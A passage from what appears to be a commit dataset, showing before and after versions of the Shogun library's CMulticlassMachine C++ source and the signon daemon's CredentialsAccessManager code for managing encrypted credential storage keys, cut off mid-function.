num_machines=m_machines->get_num_elements();\n\t\tif (num_machines <= 0)\n\t\t\tSG_ERROR(\"num_machines = %d, did you train your machine?\", num_machines);\n\n\t\tCLabels *result=new CLabels(num_vectors);\n\t\tCLabels **outputs=SG_MALLOC(CLabels*, num_machines);\n\n\t\tfor (int32_t i=0; i < num_machines; ++i)\n\t\t{\n\t\t\tCMachine *machine = (CMachine*)m_machines->get_element(i);\n\t\t\tASSERT(machine);\n\t\t\toutputs[i]=machine->apply();\n\t\t\tSG_UNREF(machine);\n\t\t}\n\n\t\tSGVector<float64_t> output_for_i(num_machines);\n\t\tfor (int32_t i=0; i<num_vectors; i++)\n\t\t{\n\t\t\tfor (int32_t j=0; j<num_machines; j++)\n\t\t\t\toutput_for_i[j] = outputs[j]->get_label(i);\n\n\t\t\tresult->set_label(i, m_multiclass_strategy->decide_label(output_for_i));\n\t\t}\n\n\t\tfor (int32_t i=0; i < num_machines; ++i)\n\t\t\tSG_UNREF(outputs[i]);\n\n\t\tSG_FREE(outputs);\n\n\t\treturn result;\n\t}\n\telse\n\t{\n\t\treturn NULL;\n\t}\n}\n\nbool CMulticlassMachine::train_machine(CFeatures* data)\n{\n\tASSERT(m_multiclass_strategy);\n\n\tif ( !data && !is_ready() )\n\t\tSG_ERROR(\"Please provide training data.\\n\");\n\telse\n\t\tinit_machine_for_train(data);\n\n\tm_machines->clear_array();\n\tCLabels *train_labels = new CLabels(get_num_rhs_vectors());\n\tSG_REF(train_labels);\n\tm_machine->set_labels(train_labels);\n\n\tm_multiclass_strategy->train_start(m_labels, train_labels);\n\twhile (m_multiclass_strategy->train_has_more())\n\t{\n\t\tSGVector<index_t> subset=m_multiclass_strategy->train_prepare_next();\n\t\tif (subset.vlen)\n\t\t{\n\t\t\ttrain_labels->add_subset(subset);\n\t\t\tadd_machine_subset(subset);\n\t\t}\n\n\t\tm_machine->train();\n\t\tm_machines->push_back(get_machine_from_trained(m_machine));\n\n\t\tif (subset.vlen)\n\t\t{\n\t\t\ttrain_labels->remove_subset();\n\t\t\tremove_machine_subset();\n\t\t}\n\t}\n\n\tm_multiclass_strategy->train_stop();\n\tSG_UNREF(train_labels);\n\n\treturn true;\n}\n\nfloat64_t CMulticlassMachine::apply(int32_t num)\n{\n\tinit_machines_for_apply(NULL);\n\n\tASSERT(m_machines->get_num_elements()>0);\n\tSGVector<float64_t> outputs(m_machines->get_num_elements());\n\n\tfor (int32_t i=0; i < m_machines->get_num_elements(); ++i)\n\t{\n\t\tCMachine *machine = get_machine(i);\n\t\toutputs[i]=machine->apply(num);\n\t\tSG_UNREF(machine);\n\t}\n\n\tfloat64_t result=m_multiclass_strategy->decide_label(outputs);\n\n\treturn result;\n}\n\n<commit_msg>minor whitespace changes<commit_after>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 1999-2011 Soeren Sonnenburg\n * Written (W) 2012 Fernando José Iglesias García and Sergey Lisitsyn\n * Copyright (C) 2012 Sergey Lisitsyn, Fernando José Iglesias Garcia\n *\/\n\n#include <shogun\/multiclass\/MulticlassOneVsRestStrategy.h>\n#include <shogun\/machine\/MulticlassMachine.h>\n#include <shogun\/base\/Parameter.h>\n#include <shogun\/features\/Labels.h>\n\nusing namespace shogun;\n\nCMulticlassMachine::CMulticlassMachine()\n: CMachine(), m_multiclass_strategy(new CMulticlassOneVsRestStrategy()),\n\tm_machine(NULL), m_machines(new CDynamicObjectArray())\n{\n\tSG_REF(m_multiclass_strategy);\n\tregister_parameters();\n}\n\nCMulticlassMachine::CMulticlassMachine(\n\t\tCMulticlassStrategy *strategy,\n\t\tCMachine* machine, CLabels* labs)\n: CMachine(), m_multiclass_strategy(strategy),\n\tm_machines(new CDynamicObjectArray())\n{\n\tSG_REF(strategy);\n\tset_labels(labs);\n\tSG_REF(machine);\n\tm_machine = machine;\n\tregister_parameters();\n\n    if (labs)\n        init_strategy();\n}\n\nCMulticlassMachine::~CMulticlassMachine()\n{\n\tSG_UNREF(m_multiclass_strategy);\n\tSG_UNREF(m_machine);\n\tSG_UNREF(m_machines);\n}\n\nvoid CMulticlassMachine::set_labels(CLabels* lab)\n{\n    CMachine::set_labels(lab);\n    if (lab)\n        init_strategy();\n}\n\nvoid CMulticlassMachine::register_parameters()\n{\n\tSG_ADD((CSGObject**)&m_multiclass_strategy,\"m_multiclass_type\", \"Multiclass strategy\", MS_NOT_AVAILABLE);\n\tSG_ADD((CSGObject**)&m_machine, \"m_machine\", \"The base machine\", MS_NOT_AVAILABLE);\n\tSG_ADD((CSGObject**)&m_machines, \"machines\", \"Machines that jointly make up the multi-class machine.\", MS_NOT_AVAILABLE);\n}\n\nvoid CMulticlassMachine::init_strategy()\n{\n    int32_t num_classes = m_labels->get_num_classes();\n    m_multiclass_strategy->set_num_classes(num_classes);\n}\n\nCLabels* CMulticlassMachine::apply(CFeatures* features)\n{\n\tinit_machines_for_apply(features);\n\treturn apply();\n}\n\nCLabels* CMulticlassMachine::apply()\n{\n\t\/** Ensure that m_machines have the features set *\/\n\tinit_machines_for_apply(NULL);\n\n\tif (is_ready())\n\t{\n\t\tint32_t num_vectors=get_num_rhs_vectors();\n\t\tint32_t num_machines=m_machines->get_num_elements();\n\t\tif (num_machines <= 0)\n\t\t\tSG_ERROR(\"num_machines = %d, did you train your machine?\", num_machines);\n\n\t\tCLabels* result=new CLabels(num_vectors);\n\t\tCLabels** outputs=SG_MALLOC(CLabels*, num_machines);\n\n\t\tfor (int32_t i=0; i < num_machines; ++i)\n\t\t{\n\t\t\tCMachine *machine = (CMachine*)m_machines->get_element(i);\n\t\t\tASSERT(machine);\n\t\t\toutputs[i]=machine->apply();\n\t\t\tSG_UNREF(machine);\n\t\t}\n\n\t\tSGVector<float64_t> output_for_i(num_machines);\n\t\tfor (int32_t i=0; i<num_vectors; i++)\n\t\t{\n\t\t\tfor (int32_t j=0; j<num_machines; j++)\n\t\t\t\toutput_for_i[j] = outputs[j]->get_label(i);\n\n\t\t\tresult->set_label(i, m_multiclass_strategy->decide_label(output_for_i));\n\t\t}\n\n\t\tfor (int32_t i=0; i < num_machines; ++i)\n\t\t\tSG_UNREF(outputs[i]);\n\n\t\tSG_FREE(outputs);\n\n\t\treturn result;\n\t}\n\telse\n\t{\n\t\treturn NULL;\n\t}\n}\n\nbool CMulticlassMachine::train_machine(CFeatures* data)\n{\n\tASSERT(m_multiclass_strategy);\n\n\tif ( !data && !is_ready() )\n\t\tSG_ERROR(\"Please provide training data.\\n\");\n\telse\n\t\tinit_machine_for_train(data);\n\n\tm_machines->clear_array();\n\tCLabels *train_labels = new CLabels(get_num_rhs_vectors());\n\tSG_REF(train_labels);\n\tm_machine->set_labels(train_labels);\n\n\tm_multiclass_strategy->train_start(m_labels, train_labels);\n\twhile (m_multiclass_strategy->train_has_more())\n\t{\n\t\tSGVector<index_t> subset=m_multiclass_strategy->train_prepare_next();\n\t\tif (subset.vlen)\n\t\t{\n\t\t\ttrain_labels->add_subset(subset);\n\t\t\tadd_machine_subset(subset);\n\t\t}\n\n\t\tm_machine->train();\n\t\tm_machines->push_back(get_machine_from_trained(m_machine));\n\n\t\tif (subset.vlen)\n\t\t{\n\t\t\ttrain_labels->remove_subset();\n\t\t\tremove_machine_subset();\n\t\t}\n\t}\n\n\tm_multiclass_strategy->train_stop();\n\tSG_UNREF(train_labels);\n\n\treturn true;\n}\n\nfloat64_t CMulticlassMachine::apply(int32_t num)\n{\n\tinit_machines_for_apply(NULL);\n\n\tASSERT(m_machines->get_num_elements()>0);\n\tSGVector<float64_t> outputs(m_machines->get_num_elements());\n\n\tfor (int32_t i=0; i < m_machines->get_num_elements(); ++i)\n\t{\n\t\tCMachine *machine = get_machine(i);\n\t\toutputs[i]=machine->apply(num);\n\t\tSG_UNREF(machine);\n\t}\n\n\tfloat64_t result=m_multiclass_strategy->decide_label(outputs);\n\n\treturn result;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of signon\n *\n * Copyright (C) 2009-2010 Nokia Corporation.\n *\n * Contact: Aurel Popirtac <mailto:ext-Aurel.Popirtac@nokia.com>\n * Contact: Alberto Mardegan <alberto.mardegan@nokia.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License\n * version 2.1 as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n\n\n#include \"credentialsaccessmanager.h\"\n\n#include \"signond-common.h\"\n\n#include <QFile>\n#include <QBuffer>\n\n\n#define RETURN_IF_NOT_INITIALIZED(return_value)                  \\\n    do {                                                         \\\n        if (!m_isInitialized) {                                  \\\n            m_error = NotInitialized;                            \\\n            TRACE() << \"CredentialsAccessManager not initialized.\"; \\\n            return return_value;                                \\\n        }                                                       \\\n    } while (0)\n\nusing namespace SignonDaemonNS;\n\n\/* ---------------------- CAMConfiguration ---------------------- *\/\n\nCAMConfiguration::CAMConfiguration()\n        : m_dbName(QLatin1String(signonDefaultDbName)),\n          m_useEncryption(signonDefaultUseEncryption),\n          m_dbFileSystemPath(\n                QLatin1String(signonDefaultStoragePath)\n                + QDir::separator()\n                + QLatin1String(signonDefaultFileSystemName)),\n          m_fileSystemType(QLatin1String(signonDefaultFileSystemType)),\n          m_fileSystemSize(signonMinumumDbSize),\n          m_encryptionPassphrase(QByteArray())\n{}\n\nvoid CAMConfiguration::serialize(QIODevice *device)\n{\n    if (device == NULL)\n        return;\n\n    if (!device->open(QIODevice::ReadWrite)) {\n        return;\n    }\n\n    QString buffer;\n    QTextStream stream(&buffer);\n    stream << \"\\n\\n====== Credentials Access Manager Configuration ======\\n\\n\";\n    stream << \"File system mount name \" << m_dbFileSystemPath << '\\n';\n    stream << \"File system format: \" << m_fileSystemType << '\\n';\n    stream << \"File system size:\" << m_fileSystemSize << \"megabytes\\n\";\n\n    const char *usingEncryption = m_useEncryption ? \"true\" : \"false\";\n    stream << \"Using encryption: \" << usingEncryption << '\\n';\n    stream << \"Credentials database name: \" << m_dbName << '\\n';\n    stream << \"======================================================\\n\\n\";\n    device->write(buffer.toUtf8());\n    device->close();\n}\n\n\/* ---------------------- CredentialsAccessManager ---------------------- *\/\n\nCredentialsAccessManager *CredentialsAccessManager::m_pInstance = NULL;\n\nCredentialsAccessManager::CredentialsAccessManager(QObject *parent)\n        : QObject(parent),\n          m_isInitialized(false),\n          m_accessCodeFetched(false),\n          m_systemOpened(false),\n          m_error(NoError),\n          keyManagers(),\n          m_pCredentialsDB(NULL),\n          m_pCryptoFileSystemManager(NULL),\n          m_CAMConfiguration(CAMConfiguration())\n{\n}\n\nCredentialsAccessManager::~CredentialsAccessManager()\n{\n    closeCredentialsSystem();\n\n    m_pInstance = NULL;\n}\n\nCredentialsAccessManager *CredentialsAccessManager::instance(QObject *parent)\n{\n    if (!m_pInstance)\n        m_pInstance = new CredentialsAccessManager(parent);\n\n    return m_pInstance;\n}\n\nvoid CredentialsAccessManager::finalize()\n{\n    if (m_systemOpened)\n        closeCredentialsSystem();\n\n    if (m_pCryptoFileSystemManager)\n        delete m_pCryptoFileSystemManager;\n\n    m_accessCodeFetched = false;\n    m_isInitialized = false;\n    m_error = NoError;\n}\n\nbool CredentialsAccessManager::init(const CAMConfiguration &camConfiguration)\n{\n    if (m_isInitialized) {\n        TRACE() << \"CAM already initialized.\";\n        m_error = AlreadyInitialized;\n        return false;\n    }\n\n    m_CAMConfiguration = camConfiguration;\n\n    QBuffer config;\n    m_CAMConfiguration.serialize(&config);\n    TRACE() << \"\\n\\nInitualizing CredentialsAccessManager with configuration: \" << config.data();\n\n    if (m_CAMConfiguration.m_useEncryption) {\n        \/\/Initialize CryptoManager\n        m_pCryptoFileSystemManager = new CryptoManager(this);\n        m_pCryptoFileSystemManager->setFileSystemPath(m_CAMConfiguration.m_dbFileSystemPath);\n        m_pCryptoFileSystemManager->setFileSystemSize(m_CAMConfiguration.m_fileSystemSize);\n        m_pCryptoFileSystemManager->setFileSystemType(m_CAMConfiguration.m_fileSystemType);\n\n        \/\/If passphrase exists (device lock code) open creds system - sync\n        if (!m_CAMConfiguration.m_encryptionPassphrase.isEmpty()) {\n\n            m_pCryptoFileSystemManager->setEncryptionKey(\n                    m_CAMConfiguration.m_encryptionPassphrase);\n            m_accessCodeFetched = true;\n\n            if (!openCredentialsSystemPriv(true)) {\n                BLAME() << \"Failed to open credentials system. Fallback to alternative methods.\";\n            }\n        }\n\n        \/\/ Initialize all key managers\n        foreach (SignOn::AbstractKeyManager *keyManager, keyManagers) {\n            connect(keyManager,\n                    SIGNAL(keyInserted(const SignOn::Key)),\n                    SLOT(onKeyInserted(const SignOn::Key)));\n            connect(keyManager,\n                    SIGNAL(keyDisabled(const SignOn::Key)),\n                    SLOT(onKeyDisabled(const SignOn::Key)));\n            connect(keyManager,\n                    SIGNAL(keyRemoved(const SignOn::Key)),\n                    SLOT(onKeyRemoved(const SignOn::Key)));\n            connect(keyManager,\n                    SIGNAL(keyAuthorized(const SignOn::Key, bool)),\n                    SLOT(onKeyAuthorized(const SignOn::Key, bool)));\n            keyManager->setup();\n        }\n    }\n\n    m_isInitialized = true;\n    m_error = NoError;\n\n    TRACE() << \"CredentialsAccessManager successfully initialized...\";\n    return true;\n}\n\nvoid CredentialsAccessManager::addKeyManager(\n    SignOn::AbstractKeyManager *keyManager)\n{\n    keyManagers.append(keyManager);\n}\n\nbool CredentialsAccessManager::openCredentialsSystemPriv(bool mountFileSystem)\n{\n    \/\/todo remove this variable after LUKS implementation becomes stable.\n    QString dbPath;\n\n    if (m_CAMConfiguration.m_useEncryption) {\n        dbPath = m_pCryptoFileSystemManager->fileSystemMountPath()\n            + QDir::separator()\n            + m_CAMConfiguration.m_dbName;\n\n        if (mountFileSystem) {\n            if (!fileSystemDeployed()) {\n                if (deployCredentialsSystem()) {\n                    if (openDB(dbPath))\n                        m_systemOpened = true;\n                }\n                return m_systemOpened;\n            }\n\n            if (fileSystemLoaded()) {\n                m_error = CredentialsDbAlreadyDeployed;\n                return false;\n            }\n\n            if (!m_pCryptoFileSystemManager->mountFileSystem()) {\n                m_error = CredentialsDbMountFailed;\n                return false;\n            }\n        }\n    } else {\n        QFileInfo fInfo(m_CAMConfiguration.m_dbFileSystemPath);\n        QDir storageDir = fInfo.dir();\n        if (!storageDir.exists()) {\n            if (!storageDir.mkpath(storageDir.path()))\n                BLAME() << \"Could not create storage directory!!!\";\n        }\n\n        dbPath = storageDir.path()\n                 + QDir::separator()\n                 + m_CAMConfiguration.m_dbName;\n    }\n\n    TRACE() << \"Database name: [\" << dbPath << \"]\";\n\n    if (openDB(dbPath)) {\n        m_systemOpened = true;\n        m_error = NoError;\n    }\n\n    return m_systemOpened;\n}\n\nbool CredentialsAccessManager::openCredentialsSystem()\n{\n    RETURN_IF_NOT_INITIALIZED(false);\n\n    if (m_CAMConfiguration.m_useEncryption && !m_accessCodeFetched) {\n        m_error = AccessCodeNotReady;\n        return false;\n    }\n\n    return openCredentialsSystemPriv(true);\n}\n\nbool CredentialsAccessManager::closeCredentialsSystem()\n{\n    RETURN_IF_NOT_INITIALIZED(false);\n\n    closeDB();\n\n    if (m_CAMConfiguration.m_useEncryption) {\n        if (!m_pCryptoFileSystemManager->unmountFileSystem()) {\n            m_error = CredentialsDbUnmountFailed;\n            return false;\n        }\n    }\n\n    m_error = NoError;\n    m_systemOpened = false;\n    return true;\n}\n\nbool CredentialsAccessManager::deleteCredentialsSystem()\n{\n    RETURN_IF_NOT_INITIALIZED(false);\n\n    if (m_systemOpened && !closeCredentialsSystem()) {\n        \/* The close operation failed: we cannot proceed *\/\n        return false;\n    }\n\n    m_error = NoError;\n\n    if (m_CAMConfiguration.m_useEncryption) {\n        if (!m_pCryptoFileSystemManager->deleteFileSystem())\n            m_error = CredentialsDbDeletionFailed;\n    } else {\n        QFile dbFile(m_CAMConfiguration.m_dbName);\n        if (dbFile.exists()) {\n            if (!dbFile.remove())\n                m_error = CredentialsDbDeletionFailed;\n        }\n    }\n\n    return m_error == NoError;\n}\n\nbool CredentialsAccessManager::setMasterEncryptionKey(const QByteArray &newKey,\n                                                      const QByteArray &existingKey)\n{\n    if (!m_CAMConfiguration.m_useEncryption)\n        return false;\n\n    \/* Clear this for security reasons - SIM data must not be stored\n       using an deprecated master key\n    *\/\n    m_CAMConfiguration.m_encryptionPassphrase.clear();\n\n    if (!encryptionKeyCanMountFS(existingKey)) {\n        BLAME() << \"Existing lock code check failed.\";\n        return false;\n    }\n\n    if (!m_pCryptoFileSystemManager->addEncryptionKey(\n            newKey, existingKey)) {\n        BLAME() << \"Failed to add new device lock code.\";\n        return false;\n    }\n\n    if (!m_pCryptoFileSystemManager->removeEncryptionKey(existingKey, newKey)) {\n        BLAME() << \"Failed to remove old device lock code.\";\n        return false;\n    }\n\n    return true;\n}\n\nbool CredentialsAccessManager::lockSecureStorage(const QByteArray &lockData)\n{\n    \/\/ TODO - implement this, research how to.\n    Q_UNUSED(lockData)\n    return false;\n}\n\nCredentialsDB *CredentialsAccessManager::credentialsDB() const\n{\n    RETURN_IF_NOT_INITIALIZED(NULL);\n\n    return m_pCredentialsDB;\n}\n\nbool CredentialsAccessManager::deployCredentialsSystem()\n{\n    if (m_CAMConfiguration.m_useEncryption) {\n        if (!m_pCryptoFileSystemManager->setupFileSystem()) {\n            m_error = CredentialsDbSetupFailed;\n            return false;\n        }\n    }\n    return true;\n}\n\nbool CredentialsAccessManager::fileSystemLoaded(bool checkForDatabase)\n{\n    if (!m_pCryptoFileSystemManager->fileSystemMounted())\n        return false;\n\n    if (checkForDatabase\n        && !m_pCryptoFileSystemManager->fileSystemContainsFile(m_CAMConfiguration.m_dbName))\n        return false;\n\n    return true;\n}\n\nbool CredentialsAccessManager::fileSystemDeployed()\n{\n    return QFile::exists(m_pCryptoFileSystemManager->fileSystemPath());\n}\n\nbool CredentialsAccessManager::openDB(const QString &databaseName)\n{\n    m_pCredentialsDB = new CredentialsDB(databaseName);\n\n    if (!m_pCredentialsDB->connect()) {\n        TRACE() << SqlDatabase::errorInfo(m_pCredentialsDB->error(false));\n        m_error = CredentialsDbConnectionError;\n        return false;\n    }\n    TRACE() <<  \"Database connection succeeded.\";\n\n    if (!m_pCredentialsDB->hasTableStructure()) {\n        TRACE() << \"Creating SQL table structure...\";\n        if (!m_pCredentialsDB->createTableStructure()) {\n            TRACE() << SqlDatabase::errorInfo(m_pCredentialsDB->error());\n            m_error = CredentialsDbSqlError;\n            return false;\n        }\n    } else {\n        TRACE() << \"SQL table structure already created...\";\n    }\n\n    TRACE() << m_pCredentialsDB->sqlDBConfiguration();\n\n    return true;\n}\n\nbool CredentialsAccessManager::encryptionKeyCanMountFS(const QByteArray &key)\n{\n    if (!fileSystemDeployed()) {\n        TRACE() << \"Secure FS not deployed\";\n        return false;\n    }\n\n    if (m_pCryptoFileSystemManager->encryptionKeyInUse(key)) {\n        TRACE() << \"SIM data already in use.\";\n        if (m_pCryptoFileSystemManager->fileSystemMounted()) {\n\n            m_pCryptoFileSystemManager->setEncryptionKey(key);\n\n            if (!credentialsSystemOpened()) {\n                if (openCredentialsSystemPriv(false)) {\n                    TRACE() << \"Credentials system opened.\";\n                } else {\n                    BLAME() << \"Failed to open credentials system.\";\n                }\n            } else {\n                TRACE() << \"Credentials system already opened.\";\n            }\n        }\n        return true;\n    } else {\n        return false;\n    }\n}\n\nvoid CredentialsAccessManager::closeDB()\n{\n    if (m_pCredentialsDB) {\n        m_pCredentialsDB->disconnect();\n        delete m_pCredentialsDB;\n        m_pCredentialsDB = NULL;\n    }\n}\n\nvoid CredentialsAccessManager::onKeyInserted(const SignOn::Key key)\n{\n    TRACE() << \"Key:\" << key.toHex();\n\n    if (key.isEmpty()) return;\n\n    \/* The `key in use` check will attempt to mount using the new key if\n       the file system is not already mounted\n    *\/\n    if (encryptionKeyCanMountFS(key)) {\n        TRACE() << \"SIM data already in use.\";\n        authorizedKeys << key;\n        return;\n    }\n\n    \/* We got here because the inserted key is totally new to the CAM.\n     * Let's see if any key manager wants to authorize it: we call\n     * authorizeKey() on each of them, and continue processing the key when\n     * the keyAuthorized() signal comes.\n     *\/\n    foreach (SignOn::AbstractKeyManager *keyManager, keyManagers) {\n        keyManager->authorizeKey(key);\n    }\n}\n\nvoid CredentialsAccessManager::onKeyDisabled(const SignOn::Key key)\n{\n    TRACE() << \"Key:\" << key.toHex();\n\n    if (authorizedKeys.removeAll(key) == 0) {\n        TRACE() << \"Key was already disabled\";\n        return;\n    }\n\n    if (authorizedKeys.isEmpty()) {\n        TRACE() << \"All keys removed, closing secure storage.\";\n        if (credentialsSystemOpened())\n            if (!closeCredentialsSystem())\n                BLAME() << \"Error occurred while closing secure storage.\";\n\n        TRACE() << \"Querying for keys.\";\n        foreach (SignOn::AbstractKeyManager *keyManager, keyManagers) {\n            keyManager->queryKeys();\n        }\n    }\n}\n\nvoid CredentialsAccessManager::onKeyRemoved(const SignOn::Key key)\n{\n    TRACE() << \"Key:\" << key.toHex();\n\n    \/\/ Make sure the key is disabled:\n    onKeyDisabled(key);\n\n    if (!encryptionKeyCanMountFS(key)) {\n        TRACE() << \"Key is not known to the CryptoManager.\";\n        return;\n    }\n\n    if (authorizedKeys.isEmpty()) {\n        BLAME() << \"Cannot remove key: no authorized keys\";\n        return;\n    }\n\n    SignOn::Key authorizedKey = authorizedKeys.first();\n    if (!m_pCryptoFileSystemManager->removeEncryptionKey(key, authorizedKey)) {\n        BLAME() << \"Failed to remove key.\";\n    } else {\n        TRACE() << \"Key successfully removed.\";\n    }\n}\n\nvoid CredentialsAccessManager::onKeyAuthorized(const SignOn::Key key,\n                                               bool authorized)\n{\n    TRACE() << \"Key:\" << key.toHex() << \"Authorized:\" << authorized;\n\n    if (!authorized) return;\n\n    if (encryptionKeyCanMountFS(key)) {\n        TRACE() << \"Encryption key already in use.\";\n        authorizedKeys << key;\n        return;\n    }\n\n    if (authorizedKeys.isEmpty()) {\n        BLAME() << \"No authorized keys: cannot add new key\";\n        return;\n    }\n\n    if (m_pCryptoFileSystemManager->fileSystemMounted()) {\n        \/* if the secure FS is already mounted, add the new key to it *\/\n        SignOn::Key authorizedKey = authorizedKeys.first();\n        if (m_pCryptoFileSystemManager->addEncryptionKey(key, authorizedKey)) {\n            TRACE() << \"Encryption key successfullyadded into the CryptoManager.\";\n            m_pCryptoFileSystemManager->setEncryptionKey(key);\n            authorizedKeys << key;\n        } else {\n            BLAME() << \"Could not store encryption key.\";\n        }\n    } else if (!fileSystemDeployed()) {\n        \/* if the secure FS does not exist, create it and use this new key to\n         * initialize it *\/\n        m_pCryptoFileSystemManager->setEncryptionKey(key);\n        m_accessCodeFetched = true;\n        if (openCredentialsSystemPriv(true)) {\n            authorizedKeys << key;\n        } else {\n            BLAME() << \"Couldn't create the secure FS\";\n        }\n    } else {\n        BLAME() << \"Secure FS already created with another set of keys\";\n    }\n}\n\n<commit_msg>Fix CredentialsAccessManager::onKeyAuthorized()<commit_after>\/* -*- Mode: C++; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of signon\n *\n * Copyright (C) 2009-2010 Nokia Corporation.\n *\n * Contact: Aurel Popirtac <mailto:ext-Aurel.Popirtac@nokia.com>\n * Contact: Alberto Mardegan <alberto.mardegan@nokia.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public License\n * version 2.1 as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n\n\n#include \"credentialsaccessmanager.h\"\n\n#include \"signond-common.h\"\n\n#include <QFile>\n#include <QBuffer>\n\n\n#define RETURN_IF_NOT_INITIALIZED(return_value)                  \\\n    do {                                                         \\\n        if (!m_isInitialized) {                                  \\\n            m_error = NotInitialized;                            \\\n            TRACE() << \"CredentialsAccessManager not initialized.\"; \\\n            return return_value;                                \\\n        }                                                       \\\n    } while (0)\n\nusing namespace SignonDaemonNS;\n\n\/* ---------------------- CAMConfiguration ---------------------- *\/\n\nCAMConfiguration::CAMConfiguration()\n        : m_dbName(QLatin1String(signonDefaultDbName)),\n          m_useEncryption(signonDefaultUseEncryption),\n          m_dbFileSystemPath(\n                QLatin1String(signonDefaultStoragePath)\n                + QDir::separator()\n                + QLatin1String(signonDefaultFileSystemName)),\n          m_fileSystemType(QLatin1String(signonDefaultFileSystemType)),\n          m_fileSystemSize(signonMinumumDbSize),\n          m_encryptionPassphrase(QByteArray())\n{}\n\nvoid CAMConfiguration::serialize(QIODevice *device)\n{\n    if (device == NULL)\n        return;\n\n    if (!device->open(QIODevice::ReadWrite)) {\n        return;\n    }\n\n    QString buffer;\n    QTextStream stream(&buffer);\n    stream << \"\\n\\n====== Credentials Access Manager Configuration ======\\n\\n\";\n    stream << \"File system mount name \" << m_dbFileSystemPath << '\\n';\n    stream << \"File system format: \" << m_fileSystemType << '\\n';\n    stream << \"File system size:\" << m_fileSystemSize << \"megabytes\\n\";\n\n    const char *usingEncryption = m_useEncryption ? \"true\" : \"false\";\n    stream << \"Using encryption: \" << usingEncryption << '\\n';\n    stream << \"Credentials database name: \" << m_dbName << '\\n';\n    stream << \"======================================================\\n\\n\";\n    device->write(buffer.toUtf8());\n    device->close();\n}\n\n\/* ---------------------- CredentialsAccessManager ---------------------- *\/\n\nCredentialsAccessManager *CredentialsAccessManager::m_pInstance = NULL;\n\nCredentialsAccessManager::CredentialsAccessManager(QObject *parent)\n        : QObject(parent),\n          m_isInitialized(false),\n          m_accessCodeFetched(false),\n          m_systemOpened(false),\n          m_error(NoError),\n          keyManagers(),\n          m_pCredentialsDB(NULL),\n          m_pCryptoFileSystemManager(NULL),\n          m_CAMConfiguration(CAMConfiguration())\n{\n}\n\nCredentialsAccessManager::~CredentialsAccessManager()\n{\n    closeCredentialsSystem();\n\n    m_pInstance = NULL;\n}\n\nCredentialsAccessManager *CredentialsAccessManager::instance(QObject *parent)\n{\n    if (!m_pInstance)\n        m_pInstance = new CredentialsAccessManager(parent);\n\n    return m_pInstance;\n}\n\nvoid CredentialsAccessManager::finalize()\n{\n    if (m_systemOpened)\n        closeCredentialsSystem();\n\n    if (m_pCryptoFileSystemManager)\n        delete m_pCryptoFileSystemManager;\n\n    m_accessCodeFetched = false;\n    m_isInitialized = false;\n    m_error = NoError;\n}\n\nbool CredentialsAccessManager::init(const CAMConfiguration &camConfiguration)\n{\n    if (m_isInitialized) {\n        TRACE() << \"CAM already initialized.\";\n        m_error = AlreadyInitialized;\n        return false;\n    }\n\n    m_CAMConfiguration = camConfiguration;\n\n    QBuffer config;\n    m_CAMConfiguration.serialize(&config);\n    TRACE() << \"\\n\\nInitualizing CredentialsAccessManager with configuration: \" << config.data();\n\n    if (m_CAMConfiguration.m_useEncryption) {\n        \/\/Initialize CryptoManager\n        m_pCryptoFileSystemManager = new CryptoManager(this);\n        m_pCryptoFileSystemManager->setFileSystemPath(m_CAMConfiguration.m_dbFileSystemPath);\n        m_pCryptoFileSystemManager->setFileSystemSize(m_CAMConfiguration.m_fileSystemSize);\n        m_pCryptoFileSystemManager->setFileSystemType(m_CAMConfiguration.m_fileSystemType);\n\n        \/\/If passphrase exists (device lock code) open creds system - sync\n        if (!m_CAMConfiguration.m_encryptionPassphrase.isEmpty()) {\n\n            m_pCryptoFileSystemManager->setEncryptionKey(\n                    m_CAMConfiguration.m_encryptionPassphrase);\n            m_accessCodeFetched = true;\n\n            if (!openCredentialsSystemPriv(true)) {\n                BLAME() << \"Failed to open credentials system. Fallback to alternative methods.\";\n            }\n        }\n\n        \/\/ Initialize all key managers\n        foreach (SignOn::AbstractKeyManager *keyManager, keyManagers) {\n            connect(keyManager,\n                    SIGNAL(keyInserted(const SignOn::Key)),\n                    SLOT(onKeyInserted(const SignOn::Key)));\n            connect(keyManager,\n                    SIGNAL(keyDisabled(const SignOn::Key)),\n                    SLOT(onKeyDisabled(const SignOn::Key)));\n            connect(keyManager,\n                    SIGNAL(keyRemoved(const SignOn::Key)),\n                    SLOT(onKeyRemoved(const SignOn::Key)));\n            connect(keyManager,\n                    SIGNAL(keyAuthorized(const SignOn::Key, bool)),\n                    SLOT(onKeyAuthorized(const SignOn::Key, bool)));\n            keyManager->setup();\n        }\n    }\n\n    m_isInitialized = true;\n    m_error = NoError;\n\n    TRACE() << \"CredentialsAccessManager successfully initialized...\";\n    return true;\n}\n\nvoid CredentialsAccessManager::addKeyManager(\n    SignOn::AbstractKeyManager *keyManager)\n{\n    keyManagers.append(keyManager);\n}\n\nbool CredentialsAccessManager::openCredentialsSystemPriv(bool mountFileSystem)\n{\n    \/\/todo remove this variable after LUKS implementation becomes stable.\n    QString dbPath;\n\n    if (m_CAMConfiguration.m_useEncryption) {\n        dbPath = m_pCryptoFileSystemManager->fileSystemMountPath()\n            + QDir::separator()\n            + m_CAMConfiguration.m_dbName;\n\n        if (mountFileSystem) {\n            if 